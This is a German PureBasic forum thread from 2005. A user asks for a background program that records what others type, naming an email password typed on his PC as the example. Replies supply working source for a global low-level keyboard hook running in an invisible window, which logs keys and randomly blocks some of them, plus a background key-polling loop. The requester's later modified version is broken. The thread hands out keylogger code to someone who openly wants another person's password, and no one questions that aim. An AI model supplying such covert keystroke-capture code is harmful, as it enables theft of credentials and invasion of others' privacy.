PureBoard

Verfasst: **15.08.2005 21:55**

Kann man ein Programm machen das im Hinter grund das Speichert was macn so auf der Tastatur eingibt.
Also BS:
Das besagte Programm läuft.
Jemand Tippt auf meinen PC,
Das Passwort für den E-mail acount ein.
Das Programm Speichert es in einer Text Datei und ich kann es später auslesen.
War nur ein Beisspiel, nehme es für was andres her.

Verfasst: **15.08.2005 22:01**

Böse... Ein Keylogger

Schau mal hier:
http://forums.purebasic.com/german/view ... 70&start=0

Verfasst: **15.08.2005 22:07**

das Thema hilft mir nichts weil es nur geht wenn es im Vordergrund ist!!!
Ich bräuchte mal ein Beispiel.

Verfasst: **15.08.2005 22:11**

Getassynckestate_() geht immer.
Auch im Hintergrund!

Verfasst: **15.08.2005 22:13**

wo muss das hin
mach mal bitte ein kleines bs bite bitte

bin für jeden beitrag dankbar

Verfasst: **15.08.2005 22:18**

hier mal ein kleiner spasscode zum spieln: (getestet auf winxpprosp2 und win2000)

Code: Alles auswählen

;pb 3.93

Structure client
  id.l
  empfang.s
EndStructure

Structure KBDLLHOOKSTRUCT 
  vkCode.l 
  scanCode.l 
  flags.l 
  time.l 
  dwExtraInfo.l 
EndStructure

Procedure kbhook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
  
  If nCode = #HC_ACTION 
    If (wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN); And PeekB(global_puffer + #vk_rcontrol)
      zeichen = MapVirtualKey_(*p\vkCode, 2)
      If Random(9) = 0
        Debug "geblockt: " + Chr(zeichen)
        ProcedureReturn 1
      Else
        Debug Chr(zeichen.l)
      EndIf
    EndIf
  EndIf
  
  ProcedureReturn CallNextHookEx_(0, nCode, wParam, *p) 
EndProcedure


#WH_KEYBOARD_LL = 13
If SetWindowsHookEx_(#WH_KEYBOARD_LL, @kbhook(), GetModuleHandle_(0), 0) 
  OpenWindow(0, 0, 0, 0, 0, #PB_Window_Invisible, "KeyBlocker")
  Repeat
  Until WaitWindowEvent() = #PB_Event_CloseWindow
EndIf

Verfasst: **15.08.2005 22:19**

Code: Alles auswählen

Repeat
  Sleep_(10); Nur damit du deinen Computer nicht überlastest
Until GetAsyncKeyState_(#VK_RETURN)
MessageRequester("Eine Meldung", "Du hast Return gedrückt")

Verfasst: **15.08.2005 22:20**

tipp: sleep = delay()

Verfasst: **15.08.2005 22:21**

___ER GIBT MIR TIPPS___

Verfasst: **15.08.2005 22:38**

Wieso geht das Fenster glei zu falls es überhaupt Funtioniert!!

Code: Alles auswählen

;pb 3.93 



OpenWindow(0, 0, 0, 500, 680, #PB_Window_ScreenCentered | #PB_Window_SystemMenu, "Test")


If CreateGadgetList(WindowID())

StringGadget(1000,10,10,100,100,"",#PB_String_Multiline)

Endif

Structure client 
  id.l 
  empfang.s 
EndStructure 

Structure KBDLLHOOKSTRUCT 
  vkCode.l 
  scanCode.l 
  flags.l 
  time.l 
  dwExtraInfo.l 
EndStructure 

Procedure kbhook(nCode, wParam, *p.KBDLLHOOKSTRUCT) 
  
Repeat  
  
  If nCode = #HC_ACTION 
    If (wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN); And PeekB(global_puffer + #vk_rcontrol) 
      zeichen = MapVirtualKey_(*p\vkCode, 2) 
      If Random(9) = 0 
        Debug "geblockt: " + Chr(zeichen)
        SetGadgetText(1000,"") 
        ProcedureReturn 1 
      Else 
        Debug Chr(zeichen.l)
        SetGadgetText(1000,Chr(zeichen.l)) 
      EndIf 
    EndIf 
  EndIf 
 

Until #PB_Event_CloseWindow
  
  ProcedureReturn CallNextHookEx_(0, nCode, wParam, *p) 
EndProcedure 






#WH_KEYBOARD_LL = 13 
If SetWindowsHookEx_(#WH_KEYBOARD_LL, @kbhook(), GetModuleHandle_(0), 0) 
  OpenWindow(0, 0, 0, 0, 0, #PB_Window_Invisible, "KeyBlocker") 
  Repeat 
  Until WaitWindowEvent() = #PB_Event_CloseWindow 
EndIf

PureBoard

Hintergrundmitschreiben

Hintergrundmitschreiben